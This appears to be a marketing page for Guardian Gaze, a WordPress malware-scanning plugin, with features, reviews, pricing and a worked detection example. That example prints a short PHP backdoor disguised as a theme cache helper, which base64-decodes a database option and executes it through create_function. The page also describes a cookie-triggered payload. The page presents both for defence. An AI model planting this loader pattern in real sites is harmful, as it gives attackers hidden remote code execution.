v2.2.8Built by RedSecLabs · Available on WordPress.org

Find the hidden WordPress malware your firewall can't see.

Detect suspicious code, hidden backdoors, database payloads and reinfection paths, with plain-English explanations before anything is touched on your site.

Scan Your Site Free
No credit card Findings shown before action No passwords collected
Scan complete
example-site.com · 2 minutes ago
2 Findings
1,847
Files scanned
412
DB records
2
Suspicious
mu-plugins/wp-index.phpCritical
Cookie-triggered code execution. File accepts a base64-decoded payload via cookie and runs it on WordPress init. No legitimate caching workflow requires this pattern.
Review & quarantineSend to developer
wp_options: _theme_cache_v2Critical
Stored payload in database. Encoded option referenced by the suspicious file above. Stage-two loader. File scanners do not see this.
For everyone running WordPress

Built for the people who actually deal with hacked sites.

Whatever your role, Guardian Gaze shows what's wrong, explains why, and waits for your sign-off before doing anything to your site.

For: Site Owners

Your site was hacked. Is it really clean now?

Run Guardian Gaze after a compromise to find what your existing scanner missed. Every finding is explained in plain English, so you know what's happening and what to do next.

For: Agencies

Catch issues across client sites before they email you.

Monitor every WordPress site you manage from one place. Client-friendly reports, regular threat updates, and the option to escalate serious findings to the RedSecLabs research team.

See agency plans →
For: Developers

Read the reasoning before you delete anything.

Every finding shows the file, the suspicious pattern, and an explanation of why it looks malicious. No silent quarantine; review every result, decide every action.

What happens after a finding

From scan to safe, in four clear steps.

Every Guardian Gaze workflow follows the same path. No surprises, no silent actions, and an off-ramp to expert help when you need it.

1
Scan your site
Run a scan across WordPress core, plugins, themes, mu-plugins and your database. Lightweight; safe on production.
2
Review the findings
See each suspicious file or database record alongside its severity, location and context. Nothing is changed yet.
3
Understand the reasoning
Read a plain-English explanation of why each finding looks malicious, so you can decide with confidence, not on faith.
4
Quarantine or escalate
Quarantine the file, send the report to your developer, or request a RedSecLabs expert review (paid add-on). Your choice, every time.
How it works · A representative example

A backdoor disguised as a cache helper.

A representative example based on real-world WordPress compromises. Here's the file. Here's how Guardian Gaze reasons about it, step by step.

wp-content/themes/active/inc/cache.php
  1  <?php
  2  /**
  3   * Theme cache utility, auto-rotates daily.
  4   */
  5
  6  if (!defined('ABSPATH')) exit;
  7
► 8  $k = get_option('_theme_cache_v2');
► 9  if ($k && strlen($k) > 100) {
►10    $d = base64_decode($k);
►11    create_function('', $d)();
  12 }
  13
  14 function theme_cache_clear() {
  15   wp_cache_flush();
  16 }
Step 1 · Signature scanner
No hash match.
The file doesn't match any known malware fingerprint. Signature-based scanners typically mark this as clean and move on.
Step 2 · Static rule scanner
Too risky to flag without context.
base64_decode and create_function appear in many legitimate themes. Rule-based scanners often skip patterns this generic.
Step 3 · Guardian Gaze reasoning
This is a stage-two loader.
The function pulls an opaque option from the database, base64-decodes it, then builds and immediately executes a function from the decoded string. No legitimate caching workflow needs to run arbitrary code from a database row. Flagged as critical.
Step 4 · You decide
Nothing happens without your sign-off.
Findings are shown for review. Quarantine, send to your developer, or request a RedSecLabs expert review (available as a paid add-on).
Why your firewall doesn't catch this

Cloudflare and Wordfence are useful layers. We add the one they weren't built for.

Perimeter firewalls block incoming requests. Signature scanners match known patterns. Guardian Gaze does the layer that's harder to automate, reasoning about whether code inside your WordPress install actually looks legitimate.

Perimeter & signature tools

Where existing tools are strong

  • Block known IPs, brute-force attempts and OWASP-pattern attacks
  • Match files against a database of known malware signatures
  • Catch obvious tampering of WordPress core files
  • Less designed to reason about intent in unfamiliar code
  • Not built to scan stored payloads inside wp_options

Guardian Gaze · the layer we add

Code-level reasoning, alongside your existing security

  • LLM-assisted reasoning about what code is actually doing
  • Catches obfuscated web shells with multiple encoding layers
  • Scans database options and transients for stored payloads
  • Covers mu-plugins, themes, custom drop-ins, full file tree
  • Explains every finding so you know what to do next

Want the row-by-row breakdown? See the full comparison →

Safe by default

Nothing happens to your site without your sign-off.

A security plugin shouldn't be scarier than the threats it finds. Guardian Gaze is designed so you stay in control of every action, and so that nothing sensitive ever leaves your site.

Review before action
Every finding is shown with context and reasoning. You decide what gets quarantined.
No silent deletion
We never touch files automatically. Quarantine and removal are explicit, manual actions.
No passwords collected
Scanning happens on your server. Only minimal security metadata leaves your site.
Send to your developer
Export findings as a shareable report. Don't understand a result? Send it to your dev or to us.
What users say

Rated five stars by WordPress professionals.

Real reviews from agencies and developers running Guardian Gaze on live client sites.

★★★★★
Excellent Scanning and Easy to Use

We have used Guardian Gaze Security on our websites and the scanning feature is excellent. It quickly detects malware and security issues, making website protection much easier.

E
@exceldigitalgroup
WordPress.org · 2 months ago
★★★★★
Really Powerful Malware & Backdoor Detection

The malware scanning is fast and highly accurate, especially in detecting hidden backdoors that other plugins often miss. The AI-based detection makes it more reliable than traditional security tools. Lightweight, doesn’t affect site speed, and the firewall plus login protection adds an extra layer of security.

Y
@yongedigitalsolutions
WordPress.org · 2 months ago
★★★★★
Impressive Malware Detection & Performance

Very lightweight and doesn’t affect site speed at all. The malware scanning is accurate and quickly detects suspicious files. Setup was simple, and the firewall and login protection add solid security. Highly recommended for a fast, reliable WordPress security plugin.

D
@developerflowdigital
WordPress.org · 4 months ago

Read all reviews on WordPress.org →

Plans

Start free. Upgrade when you need to.

The free plugin gets you a full scan and plain-English findings on one site. Paid tiers add scheduling, alerts, multi-site management and expert escalation.

For: Single sites
Free
$0 · forever

Run on one WordPress site. No credit card required.

  • Full file & database scan
  • LLM-assisted reasoning on findings
  • Plain-English explanations
  • Manual on-demand scanning
  • Available on WordPress.org
For: Agencies
Agency
From $1,341 /year

Bulk Pro licenses for agencies. 10% to 20% volume discount applied.

  • All licence keys in one dashboard
  • RedSecLabs expert review (paid add-on)
  • Volume pricing
Buy Agency Licenses

Full pricing details on the Pricing page.

Why this team

Built by security researchers, not just plugin developers.

Guardian Gaze is a product of RedSecLabs, a London-based cybersecurity firm whose research team investigates compromised websites and reverse-engineers malware in the wild. The plugin exists because we kept seeing real-world WordPress compromises where conventional scanning alone wasn't enough to identify the full reinfection path.

Guardian Gaze is a young plugin, but the expertise behind it isn't. The detection logic isn't theoretical; it's distilled from years of real incident response on hacked WordPress estates, by a team that reverse-engineers live malware for a living.

"Attackers have evolved beyond simple malware signatures. They're writing backdoors that look exactly like legitimate plugin code. You need AI that can reason about what code is actually doing."

Rafay Baloch/CEO, RedSecLabs
Plugin versionv2.2.8
Last update14 July 2026
WordPress.org rating★★★★★ early reviews
Tested throughWordPress 6.9.4
Password handlingNever collected
Data transmittedMinimal metadata
Source codePublic on WP.org
Free on WordPress.org

Scan your site for what your firewall can't see.

Install Guardian Gaze, register an email, run your first scan. Every finding is explained before anything is touched. Free. No card. No commitment.

See a Backdoor Example
Works alongside Cloudflare & WordfenceLightweightPrivacy-first
Available through the official WordPress plugin directory.
Launchpadly Startup Directory